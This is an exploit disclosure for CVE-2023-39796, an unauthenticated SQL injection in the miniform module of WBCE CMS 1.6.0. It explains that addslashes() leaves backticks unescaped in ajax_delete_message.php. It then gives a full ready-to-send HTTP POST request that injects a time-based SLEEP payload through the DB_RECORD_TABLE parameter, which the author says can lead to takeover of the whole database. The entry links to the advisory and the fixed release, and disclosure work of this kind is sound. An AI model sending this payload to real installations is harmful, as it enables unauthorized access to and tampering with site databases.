WBCE 1.6.0 – Unauthenticated SQL injection
# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0 # Date: 15.11.2023 # Exploit Author: young pope # Vendor Homepage: https://github.com/WBCE/WBCE_CMS # Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip # Version: 1.6.0 # Tested on: Kali linux # CVE : CVE-2023-39796 There is an sql injection vulnerability in *miniform* module which is a default module installed in the *WBCE* cms. It is an unauthenticated sqli so anyone could access it and takeover the whole database. In file /modules/miniform/ajax_delete_message.php there is no authentication check. On line |40| in this file, there is a |DELETE| query that is vulnerable, an attacker could jump from the query using tick sign - ```. Function |addslashes()| (https://www.php.net/manual/en/function.addslashes.php) escapes only these characters and not a tick sign: * single quote (') * double quote (") * backslash () * NUL (the NUL byte The DB_RECORD_TABLE parameter is vulnerable. If an unauthenticated attacker send this request: ``` POST /modules/miniform/ajax_delete_message.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 Connection: close Content-Length: 162 Accept: */* Accept-Language: en Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record ``` The response is received after 6s. Reference links: * https://nvd.nist.gov/vuln/detail/CVE-2023-39796 * https://forum.wbce.org/viewtopic.php?pid=42046#p42046 * https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1 * https://pastebin.com/PBw5AvGp |